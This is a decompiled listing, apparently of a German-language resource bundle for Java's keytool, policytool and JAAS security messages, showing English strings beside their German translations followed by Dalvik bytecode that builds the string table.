                                                                              • Zielalias <{0}> bereits vorhanden
                                                                              • Password is too short - must be at least 6 characters
                                                                              • Passwort zu kurz - muss mindestens 6 Zeichen lang sein
                                                                              • Too many failures. Key entry not cloned
                                                                              • Zu viele Fehler. Schl\u00fcsseleingabe wurde nicht dupliziert.
                                                                              • key password for <alias>
                                                                              • Schl\u00fcsselpasswort f\u00fcr <{0}>
                                                                              • Keystore entry for <id.getName()> already exists
                                                                              • Keystore-Eintrag f\u00fcr <{0}> bereits vorhanden
                                                                              • Creating keystore entry for <id.getName()> ...
                                                                              • Keystore-Eintrag f\u00fcr <{0}> wird erstellt ...
                                                                              • No entries from identity database added
                                                                              • Keine Eintr\u00e4ge von Identit\u00e4tsdatenbank hinzugef\u00fcgt
                                                                              • Alias name: alias
                                                                              • Aliasname: {0}
                                                                              • Creation date: keyStore.getCreationDate(alias)
                                                                              • Erstellungsdatum: {0,date}
                                                                              • alias, keyStore.getCreationDate(alias),
                                                                              • {0}, {1,date},
                                                                              • alias,
                                                                              • {0},
                                                                              • Entry type: <type>
                                                                              • Eintragstyp: {0}
                                                                              • Certificate chain length:
                                                                              • Zertifikatskettenl\u00e4nge:
                                                                              • Certificate[(i + 1)]:
                                                                              • Zertifikat[{0,number,integer}]:
                                                                              • Certificate fingerprint (MD5):
                                                                              • Zertifikatsfingerabdruck (MD5):
                                                                              • Entry type: trustedCertEntry\n
                                                                              • Eintragstyp: trustedCertEntry\n
                                                                              • trustedCertEntry,
                                                                              • Keystore type:
                                                                              • Keystore-Typ:
                                                                              • Keystore provider:
                                                                              • Keystore-Provider:
                                                                              • Your keystore contains keyStore.size() entry
                                                                              • Ihr Keystore enth\u00e4lt {0,number,integer} Eintrag/-\u00e4ge.
                                                                              • Your keystore contains keyStore.size() entries
                                                                              • Ihr Keystore enth\u00e4lt {0,number,integer} Eintr\u00e4ge.
                                                                              • Failed to parse input
                                                                              • Eingabe konnte nicht analysiert werden.
                                                                              • Empty input
                                                                              • Leere Eingabe
                                                                              • Not X.509 certificate
                                                                              • Kein X.509-Zertifikat
                                                                              • alias has no public key
                                                                              • {0} hat keinen \u00f6ffentlichen Schl\u00fcssel.
                                                                              • alias has no X.509 certificate
                                                                              • {0} hat kein X.509-Zertifikat.
                                                                              • New certificate (self-signed):
                                                                              • Neues Zertifikat (selbstsigniert):
                                                                              • Reply has no certificates
                                                                              • Antwort hat keine Zertifikate.
                                                                              • Certificate not imported, alias <alias> already exists
                                                                              • Zertifikat nicht importiert, Alias <{0}> bereits vorhanden
                                                                              • Input not an X.509 certificate
                                                                              • Eingabe kein X.509-Zertifikat
                                                                              • Certificate already exists in keystore under alias <trustalias>
                                                                              • Zertifikat in Keystore bereits unter Alias <{0}> vorhanden
                                                                              • Do you still want to add it? [no]:
                                                                              • M\u00f6chten Sie es trotzdem hinzuf\u00fcgen? [Nein]:
                                                                              • Certificate already exists in system-wide CA keystore under alias <trustalias>
                                                                              • Zertifikat in systemweiten CA-Keystore bereits unter Alias <{0}> vorhanden.
                                                                              • Do you still want to add it to your own keystore? [no]:
                                                                              • M\u00f6chten Sie es trotzdem zu Ihrem eigenen Keystore hinzuf\u00fcgen? [Nein]:
                                                                              • Trust this certificate? [no]:
                                                                              • Diesem Zertifikat vertrauen? [Nein]:
                                                                              • YES
                                                                              • JA
                                                                              • New prompt:
                                                                              • Neues {0}:
                                                                              • Passwords must differ
                                                                              • Passw\u00f6rter m\u00fcssen sich unterscheiden
                                                                              • Re-enter new prompt:
                                                                              • Neues {0} nochmals eingeben:
                                                                              • Re-enter new password:
                                                                              • Geben Sie das Passwort erneut ein:
                                                                              • They don\'t match. Try again
                                                                              • Keine \u00dcbereinstimmung. Versuchen Sie es erneut.
                                                                              • Enter prompt alias name:
                                                                              • Geben Sie den Aliasnamen von {0} ein:
                                                                              • Enter new alias name\t(RETURN to cancel import for this entry):
                                                                              • Geben Sie einen neuen Alias-Namen ein.\t(Dr\u00fccken Sie die Eingabetaste, um das Importieren dieses Eintrags abzubrechen.):
                                                                              • Enter alias name:
                                                                              • Geben Sie den Aliasnamen ein:
                                                                              • \t(RETURN if same as for <otherAlias>)
                                                                              • \t(EINGABETASTE, wenn selber Name wie f\u00fcr <{0}>)
                                                                              • *PATTERN* printX509Cert
                                                                              • Eigner: {0}\nAussteller: {1}\nSeriennummer: {2}\nG\u00fcltig von: {3} bis: {4}\nDigitaler Fingerabdruck des Zertifikats:\n\t MD5: {5}\n\t SHA1: {6}\n\t Unterschrift-Algorithmusname: {7}\n\t Version: {8}
                                                                              • What is your first and last name?
                                                                              • Wie lautet Ihr Vor- und Nachname?
                                                                              • What is the name of your organizational unit?
                                                                              • Wie lautet der Name Ihrer organisatorischen Einheit?
                                                                              • What is the name of your organization?
                                                                              • Wie lautet der Name Ihrer Organisation?
                                                                              • What is the name of your City or Locality?
                                                                              • Wie lautet der Name Ihrer Stadt oder Gemeinde?
                                                                              • What is the name of your State or Province?
                                                                              • Wie lautet der Name Ihres Bundeslandes oder Ihrer Provinz?
                                                                              • What is the two-letter country code for this unit?
                                                                              • Wie lautet der Landescode (zwei Buchstaben) f\u00fcr diese Einheit?
                                                                              • Is <name> correct?
                                                                              • Ist {0} richtig?
                                                                              • no
                                                                              • Nein
                                                                              • yes
                                                                              • Ja
                                                                              • y
                                                                              • J
                                                                              • [defaultValue]:
                                                                              • [{0}]:
                                                                              • Alias <alias> has no key
                                                                              • Alias <{0}> verf\u00fcgt \u00fcber keinen Schl\u00fcssel
                                                                              • Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • Alias <{0}> verweist auf einen Eintragstyp, der nicht einem Eintrag f\u00fcr einen privaten Schl\u00fcssel entspricht. Der Befehl -keyclone unterst\u00fctzt nur das Klonen von privaten Schl\u00fcsseleintr\u00e4gen
                                                                              • ***************** WARNING WARNING WARNING *****************
                                                                              • ***************** WARNUNG WARNUNG WARNUNG *****************
                                                                              • * The integrity of the information stored in your keystore *
                                                                              • * Die Integrit\u00e4t der in Ihrem Keystore gespeicherten Informationen *
                                                                              • * The integrity of the information stored in the srckeystore*
                                                                              • * Die Integrit\u00e4t der in srckeystore gespeicherten Informationen*
                                                                              • * has NOT been verified! In order to verify its integrity, *
                                                                              • * ist NICHT verifiziert worden! Damit die Integrit\u00e4t verifiziert werden kann, *
                                                                              • * you must provide your keystore password. *
                                                                              • * m\u00fcssen Sie Ihr Keystore-Passwort eingeben. *
                                                                              • * you must provide the srckeystore password. *
                                                                              • * Sie m\u00fcssen das Passwort f\u00fcr srckeystore angeben. *
                                                                              • Certificate reply does not contain public key for <alias>
                                                                              • Zertifikatantwort enth\u00e4lt keinen \u00f6ffentlichen Schl\u00fcssel f\u00fcr <{0}>.
                                                                              • Incomplete certificate chain in reply
                                                                              • Unvollst\u00e4ndige Zertifikatskette in Antwort
                                                                              • Certificate chain in reply does not verify:
                                                                              • Zertifikatskette in Antwort verifiziert nicht:
                                                                              • Top-level certificate in reply:\n
                                                                              • Toplevel-Zertifikat in Antwort:\n
                                                                              • ... is not trusted.
                                                                              • ... wird nicht vertraut.
                                                                              • Install reply anyway? [no]:
                                                                              • Antwort trotzdem installieren? [Nein]:
                                                                              • NO
                                                                              • NEIN
                                                                              • Public keys in reply and keystore don\'t match
                                                                              • \u00d6ffentliche Schl\u00fcssel in Antwort und Keystore stimmen nicht \u00fcberein.
                                                                              • Certificate reply and certificate in keystore are identical
                                                                              • Zertifikatantwort und Zertifikat in Keystore sind identisch.
                                                                              • Failed to establish chain from reply
                                                                              • Kette konnte nicht aus Antwort entnommen werden.
                                                                              • n
                                                                              • N
                                                                              • Wrong answer, try again
                                                                              • Falsche Antwort, versuchen Sie es noch einmal.
                                                                              • Secret key not generated, alias <alias> already exists
                                                                              • Geheimschl\u00fcssel wurde nicht erstellt, Alias <{0}> bereits vorhanden
                                                                              • Please provide -keysize for secret key generation
                                                                              • Geben Sie -keysize zum Erstellen eines Geheimschl\u00fcssels an
                                                                              • keytool usage:\n
                                                                              • Keytool-Syntax:\n
                                                                              • Extensions:
                                                                              • Erweiterungen:
                                                                              • -certreq [-v] [-protected]
                                                                              • \t [-alias <alias>] [-sigalg <sigalg>]
                                                                              • \t [-alias <Alias>] [-sigalg <Sigalg>]
                                                                              • \t [-file <csr_file>] [-keypass <keypass>]
                                                                              • \t [-file <csr_Datei>] [-keypass <Keypass>]
                                                                              • \t [-keystore <keystore>] [-storepass <storepass>]
                                                                              • \t [-keystore <Keystore>] [-storepass <Storepass>]
                                                                              • \t [-storetype <storetype>] [-providername <name>]
                                                                              • \t [-storetype <Speichertyp>] [-providername <Name>]
                                                                              • \t [-providerclass <provider_class_name> [-providerarg <arg>]] ...
                                                                              • \t [-providerclass <Name der Providerklasse> [-providerarg <Argument>]] ...
                                                                              • \t [-providerpath <pathlist>]
                                                                              • \t [-providerpath <Pfadliste>]
                                                                              • -delete [-v] [-protected] -alias <alias>
                                                                              • -delete [-v] [-protected] -alias <Alias>
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • \t [-alias <alias>] [-file <cert_file>]
                                                                              • \t [-alias <Alias>] [-file <Zert_datei>]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • \t [-alias <alias>]
                                                                              • \t [-alias <Alias>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <keysize>]
                                                                              • \t [-keyalg <Schl\u00fcssel-Alg>] [-keysize <Schl\u00fcsselgr\u00f6\u00dfe>]
                                                                              • \t [-sigalg <sigalg>] [-dname <dname>]
                                                                              • \t [-sigalg <Signal-Alg>] [-dname <Dname>]
                                                                              • \t [-validity <valDays>] [-keypass <keypass>]
                                                                              • \t [-validity <G\u00fcltigkeitTage>] [-keypass <Schl\u00fcsselpass>]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -help
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • \t [-alias <alias>] [-keypass <keypass>]
                                                                              • \t [-alias <Alias>] [-keypass <Keypass>]
                                                                              • \t [-file <cert_file>] [-keypass <keypass>]
                                                                              • \t [-file <Zert_Datei>] [-keypass <Schl\u00fcsselpass>]
                                                                              • -importkeystore [-v]
                                                                              • \t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]
                                                                              • \t [-srckeystore <Quell-Keystore>] [-destkeystore <Ziel-Keystore>]
                                                                              • \t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]
                                                                              • \t [-srcstoretype <Typ des Quell-Keystore>] [-deststoretype <Typ des Ziel-Keystore>]
                                                                              • \t [-srcprotected] [-destprotected]
                                                                              • \t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]
                                                                              • \t [-srcstorepass <Passwort f\u00fcr Quell-Keystore>] [-deststorepass <Passwort f\u00fcr Ziel-Keystore>]
                                                                              • \t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]
                                                                              • \t [-srcprovidername <Name des Quell-Providers>]\n\t [-destprovidername <Name des Ziel-Providers>]
                                                                              • \t [-srcalias <srcalias> [-destalias <destalias>]
                                                                              • \t [-srcalias <Quell-Alias> [-destalias <Ziel-Alias>]
                                                                              • \t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]
                                                                              • \t [-srckeypass <Passwort f\u00fcr Quell-Keystore>] [-destkeypass <Passwort f\u00fcr Ziel-Keystore>]]
                                                                              • \t [-noprompt]
                                                                              • -changealias [-v] [-protected] -alias <alias> -destalias <destalias>
                                                                              • -changealias [-v] [-protected] -alias <Alias> -destalias <Ziel-Alias>
                                                                              • \t [-keypass <keypass>]
                                                                              • \t [-keypass <Keypass>]
                                                                              • -keypasswd [-v] [-alias <alias>]
                                                                              • -keypasswd [-v] [-alias <Alias>]
                                                                              • \t [-keypass <old_keypass>] [-new <new_keypass>]
                                                                              • \t [-keypass <alt_Schl\u00fcsselpass>] [-new <neu_Schl\u00fcsselpass>]
                                                                              • -list [-v | -rfc] [-protected]
                                                                              • -printcert [-v] [-file <cert_file>]
                                                                              • -printcert [-v] [-file <Zert_Datei>]
                                                                              • -storepasswd [-v] [-new <new_storepass>]
                                                                              • -storepasswd [-v] [-new <neu_Storepass>]
                                                                              • Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured.
                                                                              • Warnung: Kein \u00f6ffentlicher Schl\u00fcssel f\u00fcr Alias {0} vorhanden. Vergewissern Sie sich, dass der KeyStore ordnungsgem\u00e4\u00df konfiguriert ist.
                                                                              • Warning: Class not found: class
                                                                              • Warnung: Klasse nicht gefunden: {0}
                                                                              • Warning: Invalid argument(s) for constructor: arg
                                                                              • Warnung: Ung\u00fcltige(s) Argument(e) f\u00fcr Konstruktor: {0}
                                                                              • Illegal Principal Type: type
                                                                              • Unzul\u00e4ssiger Principal-Typ: {0}
                                                                              • Illegal option: option
                                                                              • Unzul\u00e4ssige Option: {0}
                                                                              • Usage: policytool [options]
                                                                              • Syntax: policytool [Optionen]
                                                                              • [-file <file>] policy file location
                                                                              • [-file <Datei>] Verzeichnis der Richtliniendatei
                                                                              • New
                                                                              • Neu
                                                                              • Open
                                                                              • \u00d6ffnen
                                                                              • Save
                                                                              • Speichern
                                                                              • Save As
                                                                              • Speichern unter
                                                                              • View Warning Log
                                                                              • Warnungsprotokoll anzeigen
                                                                              • Exit
                                                                              • Beenden
                                                                              • Add Policy Entry
                                                                              • Richtlinieneintrag hinzuf\u00fcgen
                                                                              • Edit Policy Entry
                                                                              • Richtlinieneintrag bearbeiten
                                                                              • Remove Policy Entry
                                                                              • Richtlinieneintrag l\u00f6schen
                                                                              • Edit
                                                                              • Bearbeiten
                                                                              • Retain
                                                                              • Beibehalten
                                                                              • Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name.
                                                                              • Add Public Key Alias
                                                                              • Alias f\u00fcr \u00f6ffentlichen Schl\u00fcssel hinzuf\u00fcgen
                                                                              • Remove Public Key Alias
                                                                              • Alias f\u00fcr \u00f6ffentlichen Schl\u00fcssel l\u00f6schen
                                                                              • File
                                                                              • Datei
                                                                              • KeyStore
                                                                              • Policy File:
                                                                              • Richtliniendatei:
                                                                              • Could not open policy file: policyFile: e.toString()
                                                                              • Richtliniendatei konnte nicht ge\u00f6ffnet werden: {0}: {1}
                                                                              • Policy Tool
                                                                              • Richtlinientool
                                                                              • Errors have occurred while opening the policy configuration. View the Warning Log for more information.
                                                                              • Beim \u00d6ffnen der Richtlinienkonfiguration sind Fehler aufgetreten. Weitere Informationen finden Sie im Warnungsprotokoll.
                                                                              • Error
                                                                              • Fehler
                                                                              • OK
                                                                              • Status
                                                                              • Warning
                                                                              • Warnung
                                                                              • Permission:
                                                                              • Berechtigung:
                                                                              • Principal Type:
                                                                              • Principal-Typ:
                                                                              • Principal Name:
                                                                              • Principal-Name:
                                                                              • Target Name:
                                                                              • Zielname:
                                                                              • Actions:
                                                                              • Aktionen:
                                                                              • OK to overwrite existing file filename?
                                                                              • Vorhandene Datei {0} \u00fcberschreiben?
                                                                              • Cancel
                                                                              • Abbrechen
                                                                              • CodeBase:
                                                                              • Code-Basis:
                                                                              • SignedBy:
                                                                              • Signiert von:
                                                                              • Add Principal
                                                                              • Principal hinzuf\u00fcgen
                                                                              • Edit Principal
                                                                              • Principal bearbeiten
                                                                              • Remove Principal
                                                                              • Principal l\u00f6schen
                                                                              • Principals:
                                                                              • Add Permission
                                                                              • Berechtigung hinzuf\u00fcgen
                                                                              • Edit Permission
                                                                              • Berechtigung \u00e4ndern
                                                                              • Remove Permission
                                                                              • Berechtigung l\u00f6schen
                                                                              • Done
                                                                              • Fertig
                                                                              • KeyStore URL:
                                                                              • KeyStore-URL:
                                                                              • KeyStore Type:
                                                                              • KeyStore-Typ:
                                                                              • KeyStore Provider:
                                                                              • KeyStore-Anbieter:
                                                                              • KeyStore Password URL:
                                                                              • KeyStore-Passwort-URL:
                                                                              • Principals
                                                                              • Edit Principal:
                                                                              • Principal bearbeiten:
                                                                              • Add New Principal:
                                                                              • Neuen Principal hinzuf\u00fcgen:
                                                                              • Permissions
                                                                              • Berechtigungen
                                                                              • Edit Permission:
                                                                              • Berechtigung \u00e4ndern:
                                                                              • Add New Permission:
                                                                              • Neue Berechtigung hinzuf\u00fcgen:
                                                                              • Signed By:
                                                                              • Cannot Specify Principal with a Wildcard Class without a Wildcard Name
                                                                              • Principal kann nicht mit einer Wildcard-Klasse ohne Wildcard-Namen angegeben werden
                                                                              • Cannot Specify Principal without a Name
                                                                              • Principal kann nicht ohne einen Namen angegeben werden
                                                                              • Permission and Target Name must have a value
                                                                              • Berechtigung und Zielname m\u00fcssen einen Wert haben
                                                                              • Remove this Policy Entry?
                                                                              • Diesen Richtlinieneintrag l\u00f6schen?
                                                                              • Overwrite File
                                                                              • Datei \u00fcberschreiben
                                                                              • Policy successfully written to filename
                                                                              • Richtlinien erfolgreich in {0} geschrieben
                                                                              • null filename
                                                                              • Null als Dateiname
                                                                              • Save changes?
                                                                              • \u00c4nderungen speichern?
                                                                              • Yes
                                                                              • No
                                                                              • Policy Entry
                                                                              • Richtlinieneintrag
                                                                              • Save Changes
                                                                              • \u00c4nderungen speichern
                                                                              • No Policy Entry selected
                                                                              • Kein Richtlinieneintrag ausgew\u00e4hlt
                                                                              • Unable to open KeyStore: ex.toString()
                                                                              • KeyStore konnte nicht ge\u00f6ffnet werden: {0}
                                                                              • No principal selected
                                                                              • Kein Principal ausgew\u00e4hlt
                                                                              • No permission selected
                                                                              • Keine Berechtigung ausgew\u00e4hlt
                                                                              • name
                                                                              • Name
                                                                              • configuration type
                                                                              • Konfigurationstyp
                                                                              • environment variable name
                                                                              • Name der Umgebungsvariable
                                                                              • library name
                                                                              • Bibliotheksname
                                                                              • package name
                                                                              • Paketname
                                                                              • policy type
                                                                              • Richtlinientyp
                                                                              • property name
                                                                              • Eigenschaftsname
                                                                              • provider name
                                                                              • Providername
                                                                              • Principal List
                                                                              • Principal-Liste
                                                                              • Permission List
                                                                              • Berechtigungsliste
                                                                              • Code Base
                                                                              • Code-Basis
                                                                              • KeyStore U R L:
                                                                              • KeyStore Password U R L:
                                                                              • invalid null input(s)
                                                                              • Ung\u00fcltige Null-Eingabe(n)
                                                                              • actions can only be \'read\'
                                                                              • Aktionen k\u00f6nnen nur \'gelesen\' werden
                                                                              • permission name [name] syntax invalid:
                                                                              • Syntax f\u00fcr Berechtigungsnamen [{0}] ung\u00fcltig:
                                                                              • Credential Class not followed by a Principal Class and Name
                                                                              • Nach Authentisierungsklasse folgt keine Principal-Klasse und kein Name.
                                                                              • Principal Class not followed by a Principal Name
                                                                              • Nach Principal-Klasse folgt kein Principal-Name
                                                                              • Principal Name must be surrounded by quotes
                                                                              • Principal-Name muss vorn und hinten mit Anf\u00fchrungsstrichen versehen sein
                                                                              • Principal Name missing end quote
                                                                              • Abschlie\u00dfendes Anf\u00fchrungszeichen f\u00fcr Principal-Name fehlt
                                                                              • PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value
                                                                              • Private Authentisierungsberechtigung Principal-Klasse kann kein Wildcardwert (*) sein, wenn der Principal-Name kein Wildcardwert (*) ist.
                                                                              • CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name
                                                                              • Authentisierungsbesitzer:\n\tPrincipal-Klasse = {0}\n\tPrincipal-Name = {1}
                                                                              • provided null name
                                                                              • hat Null als Namen geliefert
                                                                              • provided null keyword map
                                                                              • Leere Schl\u00fcsselwort-Map
                                                                              • provided null OID map
                                                                              • Leere OID-Map
                                                                              • invalid null AccessControlContext provided
                                                                              • Ung\u00fcltige Null als Zugangskontrollkontext geliefert
                                                                              • invalid null action provided
                                                                              • Ung\u00fcltige Null als Aktion geliefert
                                                                              • invalid null Class provided
                                                                              • Ung\u00fcltige Null als Klasse geliefert
                                                                              • Subject:\n
                                                                              • Betreff:\n
                                                                              • \tPrincipal:
                                                                              • \tPublic Credential:
                                                                              • \t\u00d6ffentliche Authentisierung:
                                                                              • \tPrivate Credentials inaccessible\n
                                                                              • \tKein Zugriff auf private Authentisierungen m\u00f6glich\n
                                                                              • \tPrivate Credential:
                                                                              • \tPrivate Authentisierung:
                                                                              • \tPrivate Credential inaccessible\n
                                                                              • \tKein Zugriff auf private Authentisierung m\u00f6glich\n
                                                                              • Subject is read-only
                                                                              • Betreff ist schreibgesch\u00fctzt
                                                                              • attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set
                                                                              • Es wird versucht, ein Objekt hinzuzuf\u00fcgen, das keine Instanz von java.security.Principal f\u00fcr eine Principal-Gruppe eines Betreffs ist.
                                                                              • attempting to add an object which is not an instance of class
                                                                              • Es wird versucht, ein Objekt hinzuzuf\u00fcgen, das keine Instanz von {0} ist.
                                                                              • LoginModuleControlFlag:
                                                                              • Anmeldemodul-Steuerflag:
                                                                              • Invalid null input: name
                                                                              • Ung\u00fcltige Nulleingabe: Name
                                                                              • No LoginModules configured for name
                                                                              • F\u00fcr {0} sind keine Anmeldemodule konfiguriert.
                                                                              • invalid null Subject provided
                                                                              • Ung\u00fcltige Null als Betreff geliefert
                                                                              • invalid null CallbackHandler provided
                                                                              • Ung\u00fcltige Null als Callback-Handler geliefert
                                                                              • null subject - logout called before login
                                                                              • Null-Betreff - Abmeldung vor Anmeldung aufgerufen
                                                                              • unable to instantiate LoginModule, module, because it does not provide a no-argument constructor
                                                                              • Es kann keine Instanz des Anmeldemoduls {0} erstellt werden, weil es keinen argumentlosen Konstruktor liefert.
                                                                              • unable to instantiate LoginModule
                                                                              • Es kann keine Instanz des Anmeldemoduls erstellt werden.
                                                                              • unable to instantiate LoginModule:
                                                                              • LoginModule konnte nicht instanziiert werden:
                                                                              • unable to find LoginModule class:
                                                                              • Die Anmeldemodulklasse kann nicht gefunden werden:
                                                                              • unable to access LoginModule:
                                                                              • Kein Zugriff auf Anmeldemodul m\u00f6glich:
                                                                              • Login Failure: all modules ignored
                                                                              • Anmeldefehler: Alle Module werden ignoriert
                                                                              • java.security.policy: error parsing policy:\n\tmessage
                                                                              • java.security.policy: Fehler bei Analyse {0}:\n\t{1}
                                                                              • java.security.policy: error adding Permission, perm:\n\tmessage
                                                                              • java.security.policy: Fehler beim Hinzuf\u00fcgen der Genehmigung, {0}:\n\t{1}
                                                                              • java.security.policy: error adding Entry:\n\tmessage
                                                                              • java.security.policy: Fehler beim Hinzuf\u00fcgen des Eintrags:\n\t{0}
                                                                              • alias name not provided (pe.name)
                                                                              • Aliasname nicht bereitgestellt ({0})
                                                                              • unable to perform substitution on alias, suffix
                                                                              • kann Substition von Alias nicht durchf\u00fchren, {0}
                                                                              • substitution value, prefix, unsupported
                                                                              • Substitutionswert, {0}, nicht unterst\u00fctzt
                                                                              • (
                                                                              • )
                                                                              • type can\'t be null
                                                                              • Typ kann nicht Null sein
                                                                              • keystorePasswordURL can not be specified without also specifying keystore
                                                                              • keystorePasswordURL kann nicht ohne Keystore angegeben werden
                                                                              • expected keystore type
                                                                              • erwarteter Keystore-Typ
                                                                              • expected keystore provider
                                                                              • erwarteter Keystore-Provider
                                                                              • multiple Codebase expressions
                                                                              • mehrere Codebase-Ausdr\u00fccke
                                                                              • multiple SignedBy expressions
                                                                              • mehrere SignedBy-Ausdr\u00fccke
                                                                              • SignedBy has empty alias
                                                                              • Leerer Alias in SignedBy
                                                                              • can not specify Principal with a wildcard class without a wildcard name
                                                                              • Kann Principal nicht mit einer Wildcard-Klasse ohne Wildcard-Namen angeben.
                                                                              • expected codeBase or SignedBy or Principal
                                                                              • CodeBase oder SignedBy oder Principal erwartet
                                                                              • expected permission entry
                                                                              • Berechtigungseintrag erwartet
                                                                              • number
                                                                              • Nummer
                                                                              • expected [expect], read [end of file]
                                                                              • erwartet [{0}], gelesen [Dateiende]
                                                                              • expected [;], read [end of file]
                                                                              • erwartet [;], gelesen [Dateiende]
                                                                              • line number: msg
                                                                              • Zeile {0}: {1}
                                                                              • line number: expected [expect], found [actual]
                                                                              • Zeile {0}: erwartet [{1}], gefunden [{2}]
                                                                              • null principalClass or principalName
                                                                              • Principal-Klasse oder Principal-Name Null
                                                                              • PKCS11 Token [providerName] Password:
                                                                              • Passwort f\u00fcr PKCS11-Token [{0}]:
                                                                              • unable to instantiate Subject-based policy
                                                                              • auf Subject basierende Richtlinie konnte nicht instanziiert werden
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x2
                                                                              2const/4 v5, 0x1
                                                                              3const/4 v4, 0x0
                                                                              4const/16 v0, 0x153
                                                                              5new-array v0, v0, [[Ljava/lang/Object;
                                                                              6new-array v1, v6, [Ljava/lang/Object;
                                                                              8const-string v2, " "
                                                                              9aput-object v2, v1, v4
                                                                              11const-string v2, " "
                                                                              12aput-object v2, v1, v5
                                                                              13aput-object v1, v0, v4
                                                                              14new-array v1, v6, [Ljava/lang/Object;
                                                                              16const-string v2, " "
                                                                              17aput-object v2, v1, v4
                                                                              19const-string v2, " "
                                                                              20aput-object v2, v1, v5
                                                                              21aput-object v1, v0, v5
                                                                              22new-array v1, v6, [Ljava/lang/Object;
                                                                              24const-string v2, " "
                                                                              25aput-object v2, v1, v4
                                                                              27const-string v2, " "
                                                                              28aput-object v2, v1, v5
                                                                              29aput-object v1, v0, v6
                                                                              30const/4 v1, 0x3
                                                                              31new-array v2, v6, [Ljava/lang/Object;
                                                                              33const-string v3, ", "
                                                                              34aput-object v3, v2, v4
                                                                              36const-string v3, ", "
                                                                              37aput-object v3, v2, v5
                                                                              38aput-object v2, v0, v1
                                                                              39const/4 v1, 0x4
                                                                              40new-array v2, v6, [Ljava/lang/Object;
                                                                              42const-string v3, "\n"
                                                                              43aput-object v3, v2, v4
                                                                              45const-string v3, "\n"
                                                                              46aput-object v3, v2, v5
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x5
                                                                              49new-array v2, v6, [Ljava/lang/Object;
                                                                              51const-string v3, "*******************************************"
                                                                              52aput-object v3, v2, v4
                                                                              54const-string v3, "*******************************************"
                                                                              55aput-object v3, v2, v5
                                                                              56aput-object v2, v0, v1
                                                                              57const/4 v1, 0x6
                                                                              58new-array v2, v6, [Ljava/lang/Object;
                                                                              60const-string v3, "*******************************************\n\n"
                                                                              61aput-object v3, v2, v4
                                                                              63const-string v3, "*******************************************\n\n"
                                                                              64aput-object v3, v2, v5
                                                                              65aput-object v2, v0, v1
                                                                              66const/4 v1, 0x7
                                                                              67new-array v2, v6, [Ljava/lang/Object;
                                                                              69const-string v3, "keytool error: "
                                                                              70aput-object v3, v2, v4
                                                                              72const-string v3, "Keytool-Fehler: "
                                                                              73aput-object v3, v2, v5
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x8
                                                                              76new-array v2, v6, [Ljava/lang/Object;
                                                                              78const-string v3, "Illegal option: "
                                                                              79aput-object v3, v2, v4
                                                                              81const-string v3, "Unzul\u00e4ssige Option: "
                                                                              82aput-object v3, v2, v5
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0x9
                                                                              85new-array v2, v6, [Ljava/lang/Object;
                                                                              87const-string v3, "Try keytool -help"
                                                                              88aput-object v3, v2, v4
                                                                              90const-string v3, "Verwenden Sie den Befehl keytool -help"
                                                                              91aput-object v3, v2, v5
                                                                              92aput-object v2, v0, v1
                                                                              93const/16 v1, 0xa
                                                                              94new-array v2, v6, [Ljava/lang/Object;
                                                                              96const-string v3, "Command option <flag> needs an argument."
                                                                              97aput-object v3, v2, v4
                                                                              99const-string v3, "Befehlsoption {0} ben\u00f6tigt ein Argument."
                                                                              100aput-object v3, v2, v5
                                                                              101aput-object v2, v0, v1
                                                                              102const/16 v1, 0xb
                                                                              103new-array v2, v6, [Ljava/lang/Object;
                                                                              105const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value."
                                                                              106aput-object v3, v2, v4
                                                                              108const-string v3, "Warnung: Keine Unterst\u00fctzung f\u00fcr unterschiedliche Speicher- und Schl\u00fcsselpassw\u00f6rter bei PKCS12 KeyStores. Der benutzerdefinierte Wert {0} wird ignoriert."
                                                                              109aput-object v3, v2, v5
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0xc
                                                                              112new-array v2, v6, [Ljava/lang/Object;
                                                                              114const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              115aput-object v3, v2, v4
                                                                              117const-string v3, "-keystore muss NONE sein, wenn -storetype gleich {0} ist"
                                                                              118aput-object v3, v2, v5
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0xd
                                                                              121new-array v2, v6, [Ljava/lang/Object;
                                                                              123const-string v3, "Too may retries, program terminated"
                                                                              124aput-object v3, v2, v4
                                                                              126const-string v3, "Zu viele erneute Versuche, das Programm wird beendet."
                                                                              127aput-object v3, v2, v5
                                                                              128aput-object v2, v0, v1
                                                                              129const/16 v1, 0xe
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              132const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              133aput-object v3, v2, v4
                                                                              135const-string v3, "Die Befehle -storepasswd und -keypasswd werden nicht unterst\u00fctzt, wenn -storetype gleich {0} ist"
                                                                              136aput-object v3, v2, v5
                                                                              137aput-object v2, v0, v1
                                                                              138const/16 v1, 0xf
                                                                              139new-array v2, v6, [Ljava/lang/Object;
                                                                              141const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              142aput-object v3, v2, v4
                                                                              144const-string v3, "Befehle des Typs -keypasswd werden nicht unterst\u00fctzt, wenn -storetype gleich PKCS12"
                                                                              145aput-object v3, v2, v5
